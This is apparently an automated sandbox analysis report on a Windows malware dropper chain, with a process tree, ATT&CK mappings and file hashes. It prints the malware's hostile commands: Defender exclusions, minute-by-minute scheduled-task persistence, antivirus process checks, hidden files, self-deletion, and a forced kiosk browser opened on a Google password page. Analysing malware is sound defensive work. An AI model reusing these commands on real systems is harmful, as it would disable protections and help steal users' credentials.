PID 4964 wrote to memory of 4996	4964	cmd.exe	37
PID 4964 wrote to memory of 5004	4964	cmd.exe	38
PID 4964 wrote to memory of 5004	4964	cmd.exe	38
PID 4964 wrote to memory of 5004	4964	cmd.exe	38
PID 4964 wrote to memory of 5004	4964	cmd.exe	38
PID 4964 wrote to memory of 5072	4964	cmd.exe	40
PID 4964 wrote to memory of 5072	4964	cmd.exe	40
PID 4964 wrote to memory of 5072	4964	cmd.exe	40
PID 4964 wrote to memory of 5072	4964	cmd.exe	40
PID 4964 wrote to memory of 5080	4964	cmd.exe	41
PID 4964 wrote to memory of 5080	4964	cmd.exe	41
PID 4964 wrote to memory of 5080	4964	cmd.exe	41
PID 4964 wrote to memory of 5080	4964	cmd.exe	41
PID 4964 wrote to memory of 5108	4964	cmd.exe	42
PID 4964 wrote to memory of 5108	4964	cmd.exe	42
PID 4964 wrote to memory of 5108	4964	cmd.exe	42
PID 4964 wrote to memory of 5108	4964	cmd.exe	42
PID 4964 wrote to memory of 2784	4964	cmd.exe	43
PID 4964 wrote to memory of 2784	4964	cmd.exe	43
PID 4964 wrote to memory of 2784	4964	cmd.exe	43
PID 4964 wrote to memory of 2784	4964	cmd.exe	43
PID 4964 wrote to memory of 3068	4964	cmd.exe	44
PID 4964 wrote to memory of 3068	4964	cmd.exe	44
PID 4964 wrote to memory of 3068	4964	cmd.exe	44
PID 4964 wrote to memory of 3068	4964	cmd.exe	44
PID 4964 wrote to memory of 1504	4964	cmd.exe	45
PID 4964 wrote to memory of 1504	4964	cmd.exe	45
PID 4964 wrote to memory of 1504	4964	cmd.exe	45
PID 4964 wrote to memory of 1504	4964	cmd.exe	45
PID 4964 wrote to memory of 880	4964	cmd.exe	46
PID 4964 wrote to memory of 880	4964	cmd.exe	46
PID 4964 wrote to memory of 880	4964	cmd.exe	46
PID 4964 wrote to memory of 880	4964	cmd.exe	46
PID 2676 wrote to memory of 1052	2676	skotes.exe	47
PID 2676 wrote to memory of 1052	2676	skotes.exe	47
PID 2676 wrote to memory of 1052	2676	skotes.exe	47
PID 2676 wrote to memory of 1052	2676	skotes.exe	47
PID 1052 wrote to memory of 2620	1052	vQeyqr1.exe	48
PID 1052 wrote to memory of 2620	1052	vQeyqr1.exe	48
PID 1052 wrote to memory of 2620	1052	vQeyqr1.exe	48
PID 1052 wrote to memory of 3168	1052	vQeyqr1.exe	50
PID 1052 wrote to memory of 3168	1052	vQeyqr1.exe	50
PID 1052 wrote to memory of 3168	1052	vQeyqr1.exe	50
PID 1052 wrote to memory of 3476	1052	vQeyqr1.exe	52
PID 1052 wrote to memory of 3476	1052	vQeyqr1.exe	52

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 3 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2172	attrib.exe
784	attrib.exe
1908	attrib.exe

C:\Users\Admin\AppData\Local\Temp\1974835d38d2bb7d1133dae6aa076705503b417d8e1b6456f3ba20616be7b24d.exe
"C:\Users\Admin\AppData\Local\Temp\1974835d38d2bb7d1133dae6aa076705503b417d8e1b6456f3ba20616be7b24d.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2348
- C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2676
- - C:\Users\Admin\AppData\Local\Temp\1018676001\systemetape.exe
    "C:\Users\Admin\AppData\Local\Temp\1018676001\systemetape.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2892
- - C:\Users\Admin\AppData\Local\Temp\1018833001\WEX7mCI.exe
    "C:\Users\Admin\AppData\Local\Temp\1018833001\WEX7mCI.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4848
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c move App App.cmd & App.cmd
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4964
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4996
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5004
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5072
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5080
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 245347
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5108
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "profiles" Organizing
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2784
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Judy + ..\Sheets + ..\Another + ..\Wanting b
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3068
    - - C:\Users\Admin\AppData\Local\Temp\245347\Dry.com
        
        Dry.com b
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1504
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\AppData\Local\Temp\245347\Dry.com" & rd /s /q "C:\ProgramData\7GLXT00RQQ9R" & exit
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4800
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        7⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:1224
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:880
- - C:\Users\Admin\AppData\Local\Temp\1018897001\vQeyqr1.exe
    "C:\Users\Admin\AppData\Local\Temp\1018897001\vQeyqr1.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1018897001\vQeyqr1.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2620
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'vQeyqr1.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3168
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3476
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3796
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4200
- - C:\Users\Admin\AppData\Local\Temp\1019027001\7aec6db9da.exe
    "C:\Users\Admin\AppData\Local\Temp\1019027001\7aec6db9da.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4252
  - - C:\Windows\system32\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
      4⤵
      Loads dropped DLL
      PID:2288
    - - C:\Windows\system32\mode.com
        
        mode 65,10
        5⤵
        
        PID:3324
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e file.zip -p24291711423417250691697322505 -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:3372
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_7.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:3716
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_6.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:4300
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_5.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:4524
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_4.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:1976
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_3.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:2260
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_2.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:2264
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_1.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:1808
    - - C:\Windows\system32\attrib.exe
        
        attrib +H "in.exe"
        5⤵
        Views/modifies file attributes
        
        PID:1908
    - - C:\Users\Admin\AppData\Local\Temp\main\in.exe
        
        "in.exe"
        5⤵
        Executes dropped EXE
        
        PID:1848
      - C:\Windows\system32\attrib.exe
        
        attrib +H +S C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
        6⤵
        Views/modifies file attributes
        
        PID:784
      - C:\Windows\system32\attrib.exe
        
        attrib +H C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
        6⤵
        Views/modifies file attributes
        
        PID:2172
      - C:\Windows\system32\schtasks.exe
        
        schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2072
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell ping 127.0.0.1; del in.exe
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:580
        
        C:\Windows\system32\PING.EXE
        
        "C:\Windows\system32\PING.EXE" 127.0.0.1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:772
- - C:\Users\Admin\AppData\Local\Temp\1019031001\20c2889dbe.exe
    "C:\Users\Admin\AppData\Local\Temp\1019031001\20c2889dbe.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    PID:2868
- - C:\Users\Admin\AppData\Local\Temp\1019032001\42556d04c3.exe
    "C:\Users\Admin\AppData\Local\Temp\1019032001\42556d04c3.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:4376
- - C:\Users\Admin\AppData\Local\Temp\1019033001\69333aefbe.exe
    "C:\Users\Admin\AppData\Local\Temp\1019033001\69333aefbe.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:4828
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM firefox.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4856
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM chrome.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4956
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM msedge.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4996
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM opera.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4992
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM brave.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1980
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
      4⤵
      PID:2500
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        5⤵
        Checks processor information in registry
        Modifies registry class
        
        PID:288
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="288.0.1057955568\2022232037" -parentBuildID 20221007134813 -prefsHandle 1240 -prefMapHandle 1232 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {331dacf1-5db4-4703-a42b-19969f7b4a81} 288 "\\.\pipe\gecko-crash-server-pipe.288" 1304 105c5658 gpu
        6⤵
        
        PID:4972
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="288.1.926678049\1793344624" -parentBuildID 20221007134813 -prefsHandle 1508 -prefMapHandle 1504 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3b695b18-d6b0-43f6-882a-03ee0887d367} 288 "\\.\pipe\gecko-crash-server-pipe.288" 1520 f2eee58 socket
        6⤵
        
        PID:3200
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="288.2.152740403\995744177" -childID 1 -isForBrowser -prefsHandle 2084 -prefMapHandle 2116 -prefsLen 21811 -prefMapSize 233444 -jsInitHandle 572 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b6b1c209-4009-4532-8531-6f5c7cc78ebb} 288 "\\.\pipe\gecko-crash-server-pipe.288" 1972 1a6d4858 tab
        6⤵
        
        PID:3804
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="288.3.1054309420\1753573457" -childID 2 -isForBrowser -prefsHandle 2972 -prefMapHandle 2600 -prefsLen 26216 -prefMapSize 233444 -jsInitHandle 572 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {2ab36139-d784-4498-abce-d05decda4041} 288 "\\.\pipe\gecko-crash-server-pipe.288" 2984 1b5a8358 tab
        6⤵
        
        PID:3540
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="288.4.1558285079\1418429024" -childID 3 -isForBrowser -prefsHandle 3672 -prefMapHandle 3668 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 572 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f02e2e24-2257-4e83-bf04-6ad84d0e99ce} 288 "\\.\pipe\gecko-crash-server-pipe.288" 3684 206ec058 tab
        6⤵
        
        PID:3412
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="288.5.572351433\1779824329" -childID 4 -isForBrowser -prefsHandle 3796 -prefMapHandle 3800 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 572 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3e8e4b20-962e-4d94-a547-30e8b1b2c235} 288 "\\.\pipe\gecko-crash-server-pipe.288" 3772 206eb758 tab
        6⤵
        
        PID:3452
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="288.6.903844023\339256826" -childID 5 -isForBrowser -prefsHandle 3904 -prefMapHandle 3908 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 572 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6281dd1d-a8da-4591-851a-8ee6c9f19308} 288 "\\.\pipe\gecko-crash-server-pipe.288" 3892 206ed858 tab
        6⤵
        
        PID:3604
- - C:\Users\Admin\AppData\Local\Temp\1019034001\ae09e865ef.exe
    "C:\Users\Admin\AppData\Local\Temp\1019034001\ae09e865ef.exe"
    3⤵
    PID:3896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
09893f0b41dfceedfc3086b805464ef9

SHA1
f4febce01e161a6fc6b8ef91f4cabbdf9655f637

SHA256
c72fc9e8a150664af9330cfe1a70a8bebd60648dd9f9a4b7ba5ebc1e2b7481ff

SHA512
60f2a025f983a73bd150f44f234cdffa374843e36c2b9bdabb021833d1deba513dfef667ac672253d7822ef80af417b4931e8491f8c430c03258a619ec7bf29d

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\ytcgl2sn.default-release\activity-stream.discovery_stream.json.tmp

Filesize
28KB

MD5
145a80d6bc626ed2adff5bad1afd1526

SHA1
6acec135f743153f99f3e115b8e00fcf2191f777

SHA256
9595d22b5f2a274405e33a069cba6368a93ba8d138a01ba78f7d3a4a737fe017

SHA512
9250bdfbc9ce19d57e952b2328eab561cae2e9c4e83856d0c23c09cfd0bf2526626314b4d39bc1895803abddf4a29c991f9ac2c7a2c64e8f2ea4072a559cbde9

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\ytcgl2sn.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl

Filesize
15KB

MD5
96c542dec016d9ec1ecc4dddfcbaac66

SHA1
6199f7648bb744efa58acf7b96fee85d938389e4

SHA256
7f32769d6bb4e875f58ceb9e2fbfdc9bd6b82397eca7a4c5230b0786e68f1798

SHA512
cda2f159c3565bc636e0523c893b293109de2717142871b1ec78f335c12bad96fc3f62bcf56a1a88abdeed2ac3f3e5e9a008b45e24d713e13c23103acc15e658

Download Submit
C:\Users\Admin\AppData\Local\Temp\1018676001\systemetape.exe

Filesize
1.2MB

MD5
545b933cac5def6ec43ca2cb6eac9d8e

SHA1
f2740a1062032cc280d54c4cfe6a1ff3c6ce1c76

SHA256
efce8cc629bb9f443613c7ec97b65020b514b9ee497d472ef24fed21bceb86c4

SHA512
f4853f10933edbf7df0ca6138bb423e5dfb18cf6431068a776a0c53ea226f176d263b9514066b88861360b161ba922b618f306f1936a95e1071fc70926418caa

Download Submit
C:\Users\Admin\AppData\Local\Temp\1018833001\WEX7mCI.exe

Filesize
842KB

MD5
8eb4f92605e35c57a42b0917c221d65c

SHA1
0e64d77ef1b917b3afe512b49710250c71369175

SHA256
b57d78d93f74f7ae840ab03d3fda4f22a24ad35afcf9a53128cf82a92a67a085

SHA512
4cc5db426c8de3d7afdcfa26440d5bd9a885f5148e4307b8d04c5d56c96672d5c82ed9989bf346ce7aecea07d980735c46a930b885f824ba53738ac76dbb05bf

Download Submit
C:\Users\Admin\AppData\Local\Temp\1018897001\vQeyqr1.exe

Filesize
88KB

MD5
07e410214a2aeb8f577e407154252f3c

SHA1
697fac558b66c0476c3f04d80764fa75eb6de77d

SHA256
12e340e551abbf8a61a6dd73d45c94e88aa217ceae070ba0748360d24c706114

SHA512
470b208122d6177e4635038418e4966a63725c7f9b21b4d41f3c89b953bae9a23e141424b358110de3a8d1624c125224a7471bb44ef7039c313d03e844a20ecc

Download Submit
C:\Users\Admin\AppData\Local\Temp\1019016001\wNFfgZ1.exe

Filesize
612B

MD5
e3eb0a1df437f3f97a64aca5952c8ea0

SHA1
7dd71afcfb14e105e80b0c0d7fce370a28a41f0a

SHA256
38ffd4972ae513a0c79a8be4573403edcd709f0f572105362b08ff50cf6de521

SHA512
43573b0cbaac6e2e1646e6217d2d10c40ad10b9db1f4492d6740545e793c891b5e39283a082896c0392b88eb319dfa9392421b1c89c094c9ce9f31b53d37ebaf

Download Submit
C:\Users\Admin\AppData\Local\Temp\1019027001\7aec6db9da.exe

Filesize
4.2MB

MD5
3a425626cbd40345f5b8dddd6b2b9efa

SHA1
7b50e108e293e54c15dce816552356f424eea97a

SHA256
ba9212d2d5cd6df5eb7933fb37c1b72a648974c1730bf5c32439987558f8e8b1

SHA512
a7538c6b7e17c35f053721308b8d6dc53a90e79930ff4ed5cffecaa97f4d0fbc5f9e8b59f1383d8f0699c8d4f1331f226af71d40325022d10b885606a72fe668

Download Submit
C:\Users\Admin\AppData\Local\Temp\1019031001\20c2889dbe.exe

Filesize
1.7MB

MD5
c20d4e11e1046a5665d427bb4f6de39e

SHA1
7de8606d46b0b756d63d6adc2d906b8752cda9a5

SHA256
486d1f0393573819c605e951cf677fbe4f7176b0313467f2e1716077f56c36c1

SHA512
df671d80e8d17b502208c1bde7ddbf13d51bcc99f314ecafb21086c7fc8f3b70f9ca5c6b8b23721cb77da3171d0c68c59bc7f032d79da1f1ee53f5f1f5598fbd

Download Submit
C:\Users\Admin\AppData\Local\Temp\1019032001\42556d04c3.exe

Filesize
2.7MB

MD5
6149acb6d658fe29407a8ab94d3a0784

SHA1
8dda8f399536348199633f110a0c1bd46f3ca683

SHA256
6e339b0795d670e0d4c8ce7fa99444538dfbe76fc5889b3d121f3d843d7dbe8c

SHA512
bd9c4e5dfd3dbaf310631e75157719c823fe2718870707eedc184ee2f4e9e0bf0fda8de0fba5df0067988883914cd9387d730e7b5ccb58573cc2766ef06ffa2a

Download Submit
C:\Users\Admin\AppData\Local\Temp\1019033001\69333aefbe.exe

Filesize
946KB

MD5
fb1bfbb2b0fa71f93befd137becd031b

SHA1
067e74e608761765408f511db0ea7927ad898d9a

SHA256
d8b3ec82006b92576468332476e7a0d0ab6666780169bbdccd3523cd04702b18

SHA512
8ff15cd4d17f3ae176d664e1691f328f2571218038213573da62c1df99d9f127850008b833f45dc924b4b2cb9b9752115809500270e02060fd4de4b82c172d06

Download Submit
C:\Users\Admin\AppData\Local\Temp\1019034001\ae09e865ef.exe

Filesize
2.7MB

MD5
fe5bd55db7c14a3864ce057f8738ae39

SHA1
c13d0a62dc8f834fdaa9e780e9258ed2f1a58eed

SHA256
7d9e4af11845e1a8490a2a0d5d71670ebc3fa21b0a8f16656661396a9053cf2e

SHA512
e586a3429335357307deab56ec16618935b152b1ecb5c016b29ee1f96d89456cc8805069afc63ca84da458261befe67c5204c7acd18eac5bd3d49e5c641d326c

Download Submit
C:\Users\Admin\AppData\Local\Temp\245347\b

Filesize
267KB

MD5
0c7d5f0db7d1be49fc2285c64d3c45aa

SHA1
942803613a17b0735f80d32dab9be6b87a0e472f

SHA256
d49d834cb452343c64c7b9716f5b6d6032ce8b81e04995ccd1af130ff863143d

SHA512
52c3cacdd5a798243bdf191d0f673c63befd5297284e2841de8ef0588b103b1192e60d50e22e5572fa160834be7d052aa328556ed182a1cc56c9be55ab76ccc8

Download Submit
C:\Users\Admin\AppData\Local\Temp\Another

Filesize
96KB

MD5
5535aa11bb8a32622dadb4cb7d45071c

SHA1
76b4b6221174f1b11370d7aa2a89a5996624c7f8

SHA256
ead59f9d65f7830e35a9c213b07938b7bc57513692ecbcf66b4be4ac82350eba

SHA512
b14a53ea33b6f44ef4fffb76060955f9ae85bfed79ca206359ffcdf80aa33d21abff41d526e43ba55bc33048fd8a237a2c854e92856f292cb4825304acfbe3bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\App

Filesize
17KB

MD5
15687a16a1310bb6dfcb1fb9b8d052b3

SHA1
bda139691a5c3f90f7059d84dbad98354748832f

SHA256
08f36da3d5e25c26d14e49bc46995aa1a5842ad368a9e02244db850f77d4a70f

SHA512
9dfafa0cf6e7a54037cc53c155c7214580a90b4066d3b469a966f53d363ae63a6a4d9bb08a8de64796e8c6b36e6a5e8374069952628a81b13ebfe93abbc51574

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab1A27.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Critics

Filesize
103KB

MD5
8496cef888ee804f2b8a44171481e40a

SHA1
90fcde8c353d79ae02bfc946d708d35fedfea64f

SHA256
0d8671285841832d972ca2576cdb83f412af8433cf33c511f652912e7fd7e29b

SHA512
158c70a8804e73dfb25a1265328fadc26903c5b035a991aaa570f0ef98f89d616c635e4820e926fb8e00e1c20cfcf3fd441dcc0ca5eefa109dd5bc23e0e4c61d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Doug

Filesize
114KB

MD5
37f28bccbcaea4719409c72aa6385586

